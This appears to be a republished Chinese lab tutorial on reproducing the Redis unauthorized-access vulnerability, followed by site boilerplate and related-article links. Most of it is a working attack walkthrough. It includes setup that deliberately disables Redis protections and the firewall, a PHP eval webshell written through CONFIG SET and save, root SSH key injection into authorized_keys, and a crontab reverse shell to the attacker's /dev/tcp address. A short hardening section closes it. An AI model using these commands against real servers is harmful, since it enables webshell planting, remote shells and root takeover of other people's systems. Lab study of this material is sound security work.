Redis未授权访问漏洞搭建复现

这篇具有很好参考价值的文章主要介绍了Redis未授权访问漏洞搭建复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

今天我们来学习一下什么是Redis未授权访问漏洞,以及各种利用方法。

文章目录

  • 一、什么是Redis未授权访问漏洞
  • 二、Redis环境搭建
  • 三、漏洞利用
  • 四、漏洞总结
  • 五、漏洞防护

一、Redis未授权访问漏洞介绍

        Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作

产生条件

1.redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源IP访问,直接暴露在公网

2.没有设置密码认证,可以远程登录redis服务

漏洞危害

1、攻击者可以不用认证访问到内部数据,可能导致敏感信息泄露,黑客也可以执行攻击代码清空所有数据

2、黑客可以通过eval执行lua代码,或者通过数据备份功能往磁盘写入后门文件

3、如果redis以root身份运行,黑客可以给root用户写入ssh公钥文件,直接通过ssh远程登录服务器。

redis常用命令

config set dir /home.test 设置工作目录

config set dbfilename redis.rdb 设置备份文件名

config get dir 检查工作目录是否设置成功

coonfig get dbfilename 检查备份文件名是否设置成功

save 进行备份操作

漏洞复现

攻击机kali:192.168.1.128

redis 服务器:120..........

redis服务器:192.168.1.151

redis环境安装

安装编译依赖包

yum -y install gcc* tcl tcl-devel
yum -y install make

下载redis 软件包

wget http://download.redis.io/releases/redis-6.2.4.tar.gz

编译安装redis

tar xzf redis-6.2.4.tar.gz
cd redis-6.2.4/src
make
make install PREFIX=/usr/local/redis

常用命令

安装完成后,在/usr/local/bin下面可以看到redis提供的5个命令工具,现简单介绍如下
redis-server:Redis服务器的daemon启动程序
redis-cli:Redis命令行操作工具。也可以用telnet根据其纯文本协议来操作
redis-benchmark:Redis性能测试工具,测试Redis在当前系统下的读写性能
redis-check-aof:数据修复
redis-check-dump:检查导出工具

修改配置文件

在源码包的根目录下面有一个默认的redis.conf文件,将其拷贝到系统的/etc目录下面

cp redis.conf /etc
vim /etc/redis.conf
​
#bind 127.0.0.1
protected-mode no
daemonize no

打开配置文件把下面对应的注释掉(或者可以针对自己的ip进行bind)

# bind 127.0.0.1

Redis默认不是以守护进程的方式运行,可以通过该配置项修改,使用yes启用守护进程,设置为no

daemonize no

关闭保护模式

protected-mode no

重新启动配置文件才会生效:

redis-server redis.conf(在redis.conf文件目录下执行)

关闭防火墙

systemctl stop ebtables firewalld

启动redis服务

/usr/local/redis/bin/redis-server /etc/redis.conf

将此启动脚本加入到/etc/rc.local,让其开机自启动

echo "/usr/local/bin/redis-server /etc/redis.conf " >> /etc/rc.local

关闭服务命令

redis-cli shutdown

1.写入webshell攻击

前提:root权限开启网站服务,知道绝对路径

1.1查看phpinfo();查看绝对路径

Redis未授权访问漏洞搭建复现

1.2访问目标redis服务,写入后门

redis-cli -h 120.*.*.* -p6379

CONFIG SET dir 绝对路径
CONFIG SET dbfilename test.php
SEt x "<?php @eval($_POST[cmd]);?>"
save

Redis未授权访问漏洞搭建复现

1.3访问写入的后门,可以看到访问成功

Redis未授权访问漏洞搭建复现

2.利用ssh写入公钥

前提,root权限运行redis,开放了ssh,允许公钥连接

原理:就是在redis数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key

2.1在kali中生成公钥和私钥

ssh-keygen -t rsa

┌──(root?kali)-[~]
└─# ssh-keygen -t rsa       
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:UgzhkW5gHV1pcx/k4SbgkgEHNr452PITGkjjsqWje9M root@kali
The key's randomart image is:
+---[RSA 3072]----+
|     .XBo.o. .o  |
|    o+o*.++..o.. |
|  o. oo =..o..+. |
| o o oo+ .   o.  |
|. + +.B S        |
| =   = +         |
|+  .. o          |
|..o E  .         |
|oo .             |
+----[SHA256]-----+

2.2打开id_rsa.pub文件,将里面内容复制出来。

Redis未授权访问漏洞搭建复现

2.3连接主机

redis-cli -h 92.168.1.151 -p 6379

2.4设置Redis的备份路径为/root/.ssh/和保存文件名为authorized_keys,并将kali生成的ssh公钥数据保存在目标服务器硬盘上路径为/root/.ssh/里面,因此我们可以通过kali的ssh私钥连接目标主机

config set dir /root/.ssh/  
config set dbfilename authorized_keys
# set x "\n\n\n公钥\n\n\n",将公钥写入x键。前后用\n换行,避免和Redis里其他缓存数据混合
save
quit

Redis未授权访问漏洞搭建复现

2.5最后ssh连接目标主机,成功获取root权限

ssh -i id_rsa root@ip

Redis未授权访问漏洞搭建复现

注意:如果执行完config set dir /root/.ssh/出现NO such file错误,原因有可能不是linux服务器未使用密钥登录,而可能是目标为Windows服务器,肯定就没有 /root/.ssh目录了,可以使用 config get dir或者info手机目标信息,确认操作系统。

3、利用crontab反弹shell

        原理在redis数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。

3.1、在kali攻击机192.168.1.128监听任意端口

┌──(root㉿kali)-[/home/kali/桌面]
└─# nc -lvnp 5678         
listening on [any] 5678 ...

Redis未授权访问漏洞搭建复现

3.2、连接目标redis服务,写反弹shell

┌──(root㉿kali)-[/home/kali]
└─# redis-cli -h 192.168.1.151 -p 6379
192.168.1.151:6379> set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.128/5678 0>&1\n\n"
OK
192.168.1.151:6379> CONFIG SET dir /var/spool/cron/crontabs
OK
192.168.1.151:6379> config set dbfilename root
OK
192.168.1.151:6379> save
OK
192.168.1.151:6379> 

这时我们查看目标的计划任务

Redis未授权访问漏洞搭建复现

发现写入了计划任务,但是由于乱码没有执行成功,这些乱码也就导致反弹shell失败。这是因为redis向任务计划里写内容出现乱码而导致的语法错误,是无法避免的,但是不同linux版本执行任务时可能会忽略乱码,从而执行计划任务,因此成功与否还得看目标系统

4、结合ssrf漏洞利用

因为实际中大多数redis都会配置得当,一般外网是无法对其进行访问的,只有在内网中可以对其进行访问,因此当我们发现某个网站有ssrf漏洞时,就可以利用ssrf漏洞对其或者内网端口进行扫描,当发现存在redis服务,就可以尝试进行利用

5、主从复制利用脚本攻击,因为我这里Redis版本为6以上,因此就没有利用这个方式,其实这个方式也很简单,利用脚本即可。


四、总结

当目标存在Redis未授权访问漏洞时,可以利用以下方式

 

利用方式 利用前提 备注
写入公钥
  • root权限运行redis
  • 开放了ssh,允许公钥连接
写入webshell
  • root权限运行redis
  • 知道网站根路径
反弹shell
  • root权限运行redis
  • 开启了计划任务
从主复制    redis 4.x/5.x 无需root权限启动redis,获取的权限为启动用户的权限

五、漏洞防护

*设置本机访问或者指定主机ip访问redis,修改redis.conf中的bind配置

*利用防火墙设置指定ip访问redis

*最小权限运行redis服务文章来源地址https://www.toymoban.com/news/detail-461858.html

到了这里,关于Redis未授权访问漏洞搭建复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【Elasticsearch 未授权访问漏洞复现】

    ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。Elasticsearch的增删改查操作全部由http接口完。由于Elasticsearch授权

    2024年02月05日
    浏览(58)
  • Druid未授权访问 漏洞复现

    Druid是阿里巴巴数据库事业部出品,为监控而生的数据库连接池。Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控。当开发者配置不当时就可能造成未授权访问漏洞。 1、通过目录扫描或手工输入路径http://www.xxxx.com/druid/index.html,发现存在Druid 未授权访

    2024年02月11日
    浏览(46)
  • 漏洞复现 - - - Springboot未授权访问

    目录 一, 未授权访问是什么? 二,Actuator介绍 三,怎么进行漏洞发现呢? 四,实验环境 五,漏洞复现 1.通过访问env获取全部环境属性 2.通过/trace提供基本的http请求跟踪信息 3.利用反序列化进行getshell  1.启动脚本 2.开启监听  3.使用bp抓取一个/env的包 4.修改POST数据 未授权

    2024年01月20日
    浏览(46)
  • SSRF+redis未授权漏洞复现

    1.SSRF 漏洞简介 SSRF(Server-Side Request Forgery)即服务器端请求伪造,是一种由攻击者构造攻击链传给服务器,服务器执行并发起请求造成安全问题的漏洞,一般用来在外网探测或攻击内网服务。当网站需要调用指定URL地址的资源,但是没有对这个URL做好过滤,就会导致可以访问

    2024年02月07日
    浏览(48)
  • 漏洞复现 || Hadoop未授权访问反弹Shell漏洞

    技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或

    2024年02月16日
    浏览(46)
  • Springboot Actuator未授权访问漏洞复现

    更新时间:2022.07.20 Spring Boot Actuator 模块提供了生产级别的功能,比如健康检查,审计,指标收集,HTTP 跟踪等,帮助监控和管理Spring Boot 应用。这个模块是一个采集应用内部信息暴露给外部的模块,上述的功能都可以通过HTTP 和 JMX 访问。(来源:https://mp.weixin.qq.com/s/qY-hBSa

    2023年04月16日
    浏览(40)
  • Hadoop未授权访问 getshell——漏洞复现

     Hadoop未授权访问漏洞介绍 Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害

    2024年04月16日
    浏览(53)
  • 【漏洞复现】StarRocks MPP数据库未授权访问漏洞

            StarRocks 是一个MPP数据库,具备水平在线扩缩容,金融级高可用,兼容 MySQL 5.7 协议和 MySQL 生态,提供全面向量化引擎与多种数据源联邦查询等重要特性。StarRocks 致力于在全场景 OLAP 业务上为用户提供统一的解决方案,适用于对性能,实时性,并发能力和灵活性有

    2024年01月17日
    浏览(92)
  • CVE-2023-23752:Joomla未授权访问漏洞复现

    本次测试仅供学习使用,如若非法他用,与本文作者无关,需自行负责!!! Joomla是一个免费的开源内容管理系统(CMS),允许用户构建网站和在线应用程序。它于 2005 年首次发布,此后成为最受欢迎的 CMS 平台之一,为全球数百万个网站提供支持。 在 Joomla! 4.0.0 到 4.2.7

    2024年02月10日
    浏览(40)
  • Redis未授权漏洞复现及利用(window,linux)

    目录 1.了解redis 2.redis漏洞原理 3.redis漏洞复现 3.1 安装redis 3.1.1 Linux安装redis  3.1.2 windows安装redis 4.redis漏洞利用 4.1利用redis漏洞写webshell 4.1.1利用前提 4.1.2上传webshell 4.2利用redis漏洞ssh密钥连接 4.2.1 ssh密钥连接 4.2.2 利用前提 4.2.3 客户端生成密钥  4.2.4注意 4.3利用crontab反弹sh

    2023年04月08日
    浏览(79)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包